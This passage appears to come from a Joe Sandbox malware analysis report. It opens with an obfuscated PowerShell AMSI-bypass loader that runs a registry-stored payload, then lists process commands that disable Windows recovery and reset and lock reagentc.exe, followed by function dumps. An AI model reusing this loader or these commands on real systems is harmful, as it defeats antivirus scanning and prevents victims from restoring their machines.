@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YdcUizEhLfa=$MoLktxqtnxyrW.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$scwfUeOSfALItM=$kpBUoTRvoOegOC.Invoke($Null,@([Object]$YdcUizEhLfa,[Object](''+'L'+''+'o'+''+[Char](97)+''+'d'+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$OBgtMEtNHoxgskRxX=$kpBUoTRvoOegOC.Invoke($Null,@([Object]$YdcUizEhLfa,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$CdwwlVp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($scwfUeOSfALItM,$EtevswwRQwRAejVCuvR).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+'l');$TXsAOQOMQALSJtBsu=$kpBUoTRvoOegOC.Invoke($Null,@([Object]$CdwwlVp,[Object](''+[Char](65)+'ms'+[Char](105)+''+'S'+''+[Char](99)+'a'+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$TBhmHaliuf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OBgtMEtNHoxgskRxX,$JKiOnBfFNlGvOZPRImquAA).Invoke($TXsAOQOMQALSJtBsu,[uint32]8,4,[ref]$TBhmHaliuf);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TXsAOQOMQALSJtBsu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OBgtMEtNHoxgskRxX,$JKiOnBfFNlGvOZPRImquAA).Invoke($TXsAOQOMQALSJtBsu,[uint32]8,0x20,[ref]$TBhmHaliuf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+'L'+''+'M'+''+[Char](88)+''+[Char](115)+''+'t'+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:26:33
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:26:33
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f
Imagebase:	0x7ff63cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:26:33
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:26:33
Start date:	12/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f
Imagebase:	0x7ff67ae10000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\WinDrive-f4855f59e0.exe"
Imagebase:	0x7ff6f0210000
File size:	538'624 bytes
MD5 hash:	BE89D598CD96443479C02B022FF70532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f
Imagebase:	0x7ff63cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f
Imagebase:	0x7ff67ae10000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C takeown /f C:\Windows\System32\reagentc.exe
Imagebase:	0x7ff63cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\takeown.exe
Wow64 process (32bit):	false
Commandline:	takeown /f C:\Windows\System32\reagentc.exe
Imagebase:	0x7ff7cfff0000
File size:	66'560 bytes
MD5 hash:	D258A76AA885CBBCAE8C720CD1C284A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C icacls C:\Windows\System32\reagentc.exe /grant administrators:F
Imagebase:	0x7ff63cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:14:47
Start date:	12/01/2025
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls C:\Windows\System32\reagentc.exe /grant administrators:F
Imagebase:	0x7ff73fdf0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:14:48
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)
Imagebase:	0x7ff63cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:14:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:14:48
Start date:	12/01/2025
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)
Imagebase:	0x7ff73fdf0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:14:48
Start date:	12/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get serialnumber
Imagebase:	0x7ff7e30d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	05:14:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	05:14:50
Start date:	12/01/2025
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{d5abccfd-b418-4ad6-92a2-7793c4b25dc9}
Imagebase:	0x7ff7d8730000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	05:14:50
Start date:	12/01/2025
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6fc1b0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	05:14:51
Start date:	12/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get serialnumber
Imagebase:	0x7ff7e30d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	05:14:51
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	05:14:51
Start date:	12/01/2025
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff6d9390000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	05:14:52
Start date:	12/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	05:14:53
Start date:	12/01/2025
Path:	C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe"
Imagebase:	0x7ff7d1630000
File size:	538'624 bytes
MD5 hash:	BE89D598CD96443479C02B022FF70532
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	05:14:53
Start date:	12/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -s https://api.ipify.org
Imagebase:	0x7ff60a790000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	05:14:53
Start date:	12/01/2025
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74b010000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	05:14:53
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	1390
Total number of Limit Nodes:	2

Executed Functions

Function 000001F5A96837F8 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F5A9683811
PathFindFileNameW.SHLWAPI ref: 000001F5A9683820

Part of subcall function 000001F5A9683D58: StrCmpNIW.KERNELBASE(?,?,?,000001F5A968272E), ref: 000001F5A9683D70

Part of subcall function 000001F5A9683CA4: GetModuleHandleW.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683CB2
Part of subcall function 000001F5A9683CA4: GetCurrentProcess.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683CE0
Part of subcall function 000001F5A9683CA4: VirtualProtectEx.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683D02
Part of subcall function 000001F5A9683CA4: GetCurrentProcess.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683D1D
Part of subcall function 000001F5A9683CA4: VirtualProtectEx.KERNEL32(?,?,?,?,?,000001F5A9683837), ref: 000001F5A9683D3E

CreateThread.KERNELBASE ref: 000001F5A9683867

Part of subcall function 000001F5A9681E38: GetCurrentThread.KERNEL32 ref: 000001F5A9681E43

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c4f51b7847a1f98021941fe9320a796c4d22ffdd32b47b35cb34ea0b9caf4340
Instruction ID: 43e42d36b8573717c8116ff8a6dd59fcd96d9bb46e2cbc12d3ddd7db593919fd
Opcode Fuzzy Hash: c4f51b7847a1f98021941fe9320a796c4d22ffdd32b47b35cb34ea0b9caf4340
Instruction Fuzzy Hash: F71140BC610E3345FB64A720E449BF92AB3AF54385F50B3399B07439A5DF78C0358601

Function 000001F5A9683D58 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,000001F5A968272E), ref: 000001F5A9683D70

Strings

$LMX, xrefs: 000001F5A9683D69

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: $LMX
API String ID: 0-1475574623
Opcode ID: b4da42a706a87f17c2f2cfefd8112183663bfed5671a2c80788db3ec5171a75c
Instruction ID: b28281dc9a93e7a59c18d31d09aae87c825c50d882c57effe7d94c8ad05cf78a
Opcode Fuzzy Hash: b4da42a706a87f17c2f2cfefd8112183663bfed5671a2c80788db3ec5171a75c
Instruction Fuzzy Hash: 41D05E38311E578AEF54AFA188C0AF02B729F04714F88A2358A0607100DF5989ADC750

Function 000001F5A9652C98 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000001F5A9652E0A

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c8def6fedd9c5836e92fabc2dd1894f4ed18aaca8c094442d268cbce729e04a9
Instruction ID: c5b317edb167a8703877f44c046b5b2e6377dfea13685574367ef2a65a746f2b
Opcode Fuzzy Hash: c8def6fedd9c5836e92fabc2dd1894f4ed18aaca8c094442d268cbce729e04a9
Instruction Fuzzy Hash: 0A91167AB01A6287EB648F25E540BBDB3A2FF54B94F5492359F4B07784DA38D862C700

Function 000001F5A9681BC0 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F5A9681724: GetProcessHeap.KERNEL32 ref: 000001F5A968172F
Part of subcall function 000001F5A9681724: HeapAlloc.KERNEL32 ref: 000001F5A968173E
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A96817AE
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A96817DB
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A96817F5
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681815
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A9681830
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681850
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A968186B
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A968188B
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A96818A6
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A96818C6

SleepEx.KERNELBASE ref: 000001F5A9681BDB

Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A96818E1
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681901
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A968191C
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A968193C
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A9681957
Part of subcall function 000001F5A9681724: RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681977
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A9681992
Part of subcall function 000001F5A9681724: RegCloseKey.ADVAPI32 ref: 000001F5A968199C

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: c734f778ebace249d11891a89cc237880a62daafbc4a5d84d80dcf23aa596c60
Instruction ID: d8c7286c65cf9e935b76d6461519feafe78fa224f3ea176f193de50106bf97b8
Opcode Fuzzy Hash: c734f778ebace249d11891a89cc237880a62daafbc4a5d84d80dcf23aa596c60
Instruction Fuzzy Hash: AC31DFB9200E2341FB509B22D5E43F957B6AF88BD4F16A6319F0B97696DE14C4708391

Non-executed Functions

Function 000001F5A9682DDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 252
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F5A9682E80
lstrlenW.KERNEL32 ref: 000001F5A96830AA

Part of subcall function 000001F5A9681A30: OpenProcess.KERNEL32 ref: 000001F5A9681A56
Part of subcall function 000001F5A9681A30: K32GetProcessImageFileNameW.KERNEL32 ref: 000001F5A9681A72
Part of subcall function 000001F5A9681A30: PathFindFileNameW.SHLWAPI ref: 000001F5A9681A81
Part of subcall function 000001F5A9681A30: lstrlenW.KERNEL32 ref: 000001F5A9681A8D
Part of subcall function 000001F5A9681A30: StrCpyW.SHLWAPI ref: 000001F5A9681AA0
Part of subcall function 000001F5A9681A30: CloseHandle.KERNEL32 ref: 000001F5A9681AAE

GetProcAddress.KERNEL32 ref: 000001F5A9682E95

Part of subcall function 000001F5A9683D58: StrCmpNIW.KERNELBASE(?,?,?,000001F5A968272E), ref: 000001F5A9683D70

StrCmpNIW.SHLWAPI ref: 000001F5A9682ED8
lstrlenW.KERNEL32 ref: 000001F5A9683000

Strings

NtQueryObject, xrefs: 000001F5A9682E8B
\Device\Nsi, xrefs: 000001F5A9682ECB
ntdll.dll, xrefs: 000001F5A9682E79

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: lstrlen$FileHandleNameProcess$AddressCloseFindImageModuleOpenPathProc
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3153948470-3850299575
Opcode ID: af941bbd925a70d38f6486cb6656ede44cc86a8b1b8ec346851b17c5dcdcb7d3
Instruction ID: 1ba108010db43734c0dcef9b5a5edba691ac314f21ac6bebab9cf082a9187ebd
Opcode Fuzzy Hash: af941bbd925a70d38f6486cb6656ede44cc86a8b1b8ec346851b17c5dcdcb7d3
Instruction Fuzzy Hash: ACA17F7A220EA681EB549F25D540BF96BB6FF44BC4F50A226EF4A57798DE34CC60C340

Function 000001F5A9688280 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F5A968829C
RtlCaptureContext.NTDLL ref: 000001F5A96882C9
RtlLookupFunctionEntry.NTDLL ref: 000001F5A96882E3
RtlVirtualUnwind.NTDLL ref: 000001F5A9688324
IsDebuggerPresent.KERNEL32 ref: 000001F5A9688378
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F5A9688395
UnhandledExceptionFilter.KERNEL32 ref: 000001F5A96883A0

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: de5a275b32af45d115b24bcd90eb4bafcc35652886522a6b7213aca4867b91de
Instruction ID: ba1c8e2f2bae9b52221b521932163d09426327ea552598f499eb1170f5199f36
Opcode Fuzzy Hash: de5a275b32af45d115b24bcd90eb4bafcc35652886522a6b7213aca4867b91de
Instruction Fuzzy Hash: 0A316F7A204F928AEB609F60E8503ED7371FB84748F44522ADB5E4BB98DF38C558C710

Function 000001F5A968CE44 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F5A968CEBD
